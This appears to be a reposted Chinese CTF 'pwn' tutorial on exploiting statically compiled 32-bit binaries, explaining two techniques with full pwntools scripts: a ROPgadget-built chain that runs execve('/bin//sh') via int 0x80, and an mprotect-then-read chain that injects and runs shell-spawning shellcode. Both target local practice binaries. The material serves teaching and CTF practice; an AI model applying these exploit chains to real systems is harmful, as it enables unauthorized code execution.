[pwn]靜態編譯

靜態編譯

1. 棧足夠大的情況下

  1. 程序在ida打開后,左側的函數欄目沒有紅色(系統調用的函數),而只有一些靜態函數,通常這類文件的大小會必普通的pwn題程序要大得多。

    image-20240701143838909

  2. 這種靜態編譯的題沒有調用庫函數,也就沒有使用libc,自然我們也沒法泄漏libc的基地址,可以直接使用 ROPgadget 來搜索,利用程序中的一些指令片段,來拼湊出 call system("/bin/sh") 的效果。

    ROPgadget --binary rop --ropchain
    
  3. 搜索到的指令如下,指令平湊起來就相當于一個 call system("/bin/sh") 函數,在棧溢出的返回地址處填入這串指令的地址(也可以直接在ida中看到)即可順利執行:

    image-20240701144642727

    image-20240701145054442

  4. EXP:

    from pwn import *
    from struct import pack
    context(os='linux', arch='amd64', log_level='debug')# p1=remote("node5.buuoj.cn",29851)
    p1 = process("./rop")p = b'a'*(0x0c+4)
    #下面是各種指令的地址
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'/bin'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'//sh'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080de769) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0806c943) # int 0x80
    p1.sendline(p)
    p1.sendline(b"cat flag")
    p1.interactive()

2. 棧不夠大,需要往內存頁面上寫入mprotect函數修改內存頁面權限

  1. ida打開,發現存在棧溢出,但是溢出的長度只有 0x64-0x12-0x4*2 ,不足以在棧上寫入有地址,所以要改變方法:往內存頁面上寫入shellcode,再執行。

    image-20240701202949147

  2. 往內存上寫數據前,要修改寫入頁面的權限為 可讀可寫可執行 ,mprotect函數的聲明,參數說明如下:

    注意 :再指定內存頁面的起始地址時要保證 對齊 到頁面邊界上,即addr的第三位必須是 000(4) = 000000000000 保證其能被 4k = 1000000000000(2) = 0x1000(16) 整除,長度為4k=0x1000 的整數倍否則將報錯,最后內存保護標志可以按數字標記,將各個權限數字相加即可 可讀可寫可執行 = 0x7

    #include <sys/mman.h>
    int mprotect(void *addr, size_t len, int prot);
    

    image-20240701203738010

    image-20240701205311443

  3. 修改完內存頁面權限后就可以往上寫入shellcode代碼,利用read函數,傳入頁面的地址,寫入的大小,還有選項,最后read返回執行寫入的匯編代碼。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show',28208)
elf = ELF('./pwn')
mprotect = elf.sym['mprotect']
read_addr = elf.sym['read']# pop_ebx_esi_ebp_ret = 0x080a019b   # 0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
# pop_ebx_esi_ebp_ret = 0x08056194   # 0x08056194 : pop eax ; pop edx ; pop ebx ; ret
# pop_ebx_esi_ebp_ret = 0x08061c3b    # 0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
pop_ebx_esi_ebp_ret = 0x08061c3b    # 0x08069cbd : pop esi ; pop edi ; pop ebx ; ret#頁面起始地址
M_addr = 0x080Db000
#頁面大小
M_size = 0x1000
# 權限
M_proc = 0x7#調用protect函數修改內存頁面M_addr位置的權限,調用完成后利用pop+ret指令銜接到read函數
payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)
#調用read函數向M_addr上寫入shellcode,最后退出read函數時ret調用M_addr處的shellcode代碼
payload += p32(read_addr)+ p32(M_addr) + p32(0) + p32(M_addr) + p32(M_size)#先發送一次payload,修改完權限,并且再read函數的等待輸入
io.sendline(payload)
shellcode = asm(shellcraft.sh())
#第二次發送payload,給read函數寫入shellcode代碼
io.sendline(shellcode)
io.recv()
io.interactive()

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/41361.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/41361.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/41361.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

百度云智能媒體內容分析一體機(MCA)建設

導讀 &#xff1a;本文主要介紹了百度智能云MCA產品的概念和應用。 媒體信息海量且復雜&#xff0c;采用人工的方式對視頻進行分析處理&#xff0c;面臨著效率低、成本高的困難。于是&#xff0c;MCA應運而生。它基于百度自研的視覺AI、ASR、NLP技術&#xff0c;為用戶提供音視…

Vue 性能革命:揭秘前端優化的終極技巧;Vue優化技巧,解決Vue項目卡頓問題

目錄 Vue優化路徑 一、使用key 二、使用凍結對象 三、使用函數式組件 四、使用計算屬性 五、使用非實時綁定的表單項 六、保持對象引用穩定 6.1、保持對象引用穩定定義 6.2、保持對象引用穩定與不穩定的例子 6.3、vue2判斷數據是否變化是通過hasChanged函數實現的 ①…

2024年【四川省安全員B證】考試及四川省安全員B證考試題

題庫來源&#xff1a;安全生產模擬考試一點通公眾號小程序 2024年【四川省安全員B證】考試及四川省安全員B證考試題&#xff0c;包含四川省安全員B證考試答案和解析及四川省安全員B證考試題練習。安全生產模擬考試一點通結合國家四川省安全員B證考試最新大綱及四川省安全員B證…

golang項目中gorm框架的配置和具體使用

最近在改造golang項目&#xff0c;從postgre數據庫遷移到達夢數據庫&#xff0c;我還想在改造后的項目使用 gorm 操作數據庫&#xff0c;保持較小的改動。查找了不少資料&#xff0c;最終從以下兩篇文章中借鑒了不少 1、Gorm 入門介紹與基本使用 這篇知乎文章詳細介紹了 gorm 框…

C語言 -- 操作符詳解?

C語言 -- 操作符詳解? 1. 操作符的分類2. 二進制和進制轉換?2.1 2進制轉10進制?2.1.1 10進制轉2進制數字? 2.2 2進制轉8進制和16進制?2.2.1 2進制轉8進制?2.2.2 2進制轉16進制? 3. 原碼、反碼、補碼?4. 移位操作符?4.1 左移操作符? 4.2 右移操作符?5. 位操作符&…

Symfony實戰手冊:PHP框架的高級應用技巧

引言 Symfony是一個功能強大且廣泛應用于PHP應用程序開發的框架&#xff0c;它提供了許多高級特性和工具&#xff0c;可以幫助開發人員更高效地構建和管理復雜的Web應用程序。以下是Symfony框架的幾個關鍵方面及其高級應用技巧&#xff1a; 1. 路由和控制器 Symfony的路由組…

suricata7 rule格式

suricata 7.0.5 suricata rule由三部分組成&#xff0c; action, header, options action,決定當前規則匹配上后需要執行的動作header,定義當前規則的協議&#xff0c;IP地址&#xff0c;端口&#xff0c;方向options,定義了具體的規則 一、 action 合法的action值有&#x…

Linux_共享內存通信

目錄 1、共享內存原理 2、申請共享內存 2.1 ftok 2.2 測試shmget、ftok 2.3 查看系統下的共享內存 3、關聯共享內存 3.1 測試shmat 4、釋放共享內存 4.1 測試shmctl 5、實現共享內存通信 6、共享內存的特性 結語 前言&#xff1a; 在Linux下&#xff0c;有一…

爆!Java高級特性之Stream API詳解

爆&#xff01;Java高級特性之Stream API詳解 Java 8引入的Stream API可以說是一個革命性的特性,讓我們告別了又臭又長的for循環,迎來了函數式編程的春天。今天就讓我們來一起深入了解這個讓人又愛又恨的Stream API吧! 什么是Stream? Stream就像一個高級的迭代器,允許我們以…

分支與循環

目錄 1. if語句 1&#xff09;if 2) else 3&#xff09;分支中包含多條語句 4&#xff09;if嵌套 2.關系操作符 3.條件操作符 4.邏輯操作符&#xff1a;&& || ! 1) 邏輯取反運算符 !?編輯 2 與運算符?編輯 3) 或運算符?編輯 4) 閏年的判斷 5) 短路 …

LangChain 概述 (模塊索引)

文章目錄 一、下載二、核心功能1、流式傳輸 streaming 三、LCEL四、組成部分1、Promp template2、Example selectors (示例選擇器)3、Chat models (聊天模型)4、Messages (消息)5、LLMs (大語言模型) 一、下載 二、核心功能 其中包括以下內容&#xff1a; 從模型中返回結構化的…

若依 Vue 前端分離 3.8.8 版中生成的前端代碼中關于下拉框只有下拉箭頭的問題

生成代碼修改前 <el-form-item label"課程學科" prop"subject"><el-select v-model"queryParams.subject" placeholder"請選擇課程學科" clearable><el-optionv-for"dict in course_subject":key"dict…

Mysql中常用函數的使用示例

場景 基礎知識回顧&#xff1a;mysql中常用函數的使用示例。 注&#xff1a; 博客&#xff1a;霸道流氓氣質-CSDN博客 實現 數學函數 -- ABS(x)返回x的絕對值 SELECT ABS(-1),ABS(2); -- PI()返回圓周率 SELECT PI(); -- SQRT(x)返回非負數x的二次方根 SELECT SQRT(4); -…

【博士每天一篇文獻-算法】Adult neurogenesis acts as a neural regularizer

閱讀時間&#xff1a;2023-12-20 1 介紹 年份&#xff1a;2022 作者&#xff1a;Lina M. Tran&#xff0c;Adam Santoro&#xff0c;谷歌DeepMind 期刊&#xff1a; Proceedings of the National Academy of Sciences 引用量&#xff1a;13 代碼&#xff1a;https://github.c…

A4-C四驅高防輪式巡檢機器人

在當今數字化和智能化迅速發展的時代&#xff0c;旗晟智能帶來了一款革命性的創新產品——A4-C四驅高防輪式巡檢機器人。這款機器人以其卓越的性能和多功能性&#xff0c;為工業巡檢領域帶來了全新的解決方案。 一、產品亮點 1、四驅動力與高防護設計 四驅高防輪式巡檢機器人…

ASUS/華碩槍神4 G532L G732L系列 原廠win10系統 工廠文件 帶F12 ASUS Recovery恢復

華碩工廠文件恢復系統 &#xff0c;安裝結束后帶隱藏分區&#xff0c;一鍵恢復&#xff0c;以及機器所有驅動軟件。 系統版本&#xff1a;Windows10 原廠系統下載網址&#xff1a;http://www.bioxt.cn 需準備一個20G以上u盤進行恢復 請注意&#xff1a;僅支持以上型號專用…

GPT-2怎么做翻譯任務?

首先需要知道的是GPT-2無論在訓練還是推理過程都是只使用了transformer decoder&#xff0c;并沒有使用encoder結構&#xff0c;那么它是怎么做的翻譯任務呢&#xff1f; 使用transformer encoderdecoder的著名架構有&#xff1a; 最原始的transformer model&#xff08;Atte…

計算機應用數學--第一次作業

第一次作業計算題編程題 &#xff08;20分&#xff09; 第一次作業 計算題 &#xff08;20分&#xff09;求 E ( X ) E(X) E(X)&#xff0c; V a r ( X ) Var(X) Var(X) &#xff08;1&#xff09; X X X 服從 [ a , b ] [a,b] [a,b] 均勻分布。 &#xff08;2&#xff09;…

操作系統期末必考概念大綱(整理·全)

第一章 1、 操作系統的概念 2、 計算機發展的四個階段 3、 手工操作階段、批處理系統階段、多道程序系統階段、分時操作系統階段、通用操作系統階段 4、 批處理系統&#xff08;聯機、脫機&#xff09; 5、 操作系統的6個基本類型 6、 多道批處理特征 7、 分時系統特點 8、 算法…

第二節-K8s詞匯表

關鍵字詞匯表 https://kubernetes.io/zh-cn/docs/reference/glossary/?fundamentaltrue API Group (API 組)Kubernetes API 中的一組相關路徑。 API 服務器亦稱作:kube-apiserver API 服務器是 Kubernetes 控制平面的組件&#xff0c; 該組件負責公開了 Kubernetes API&…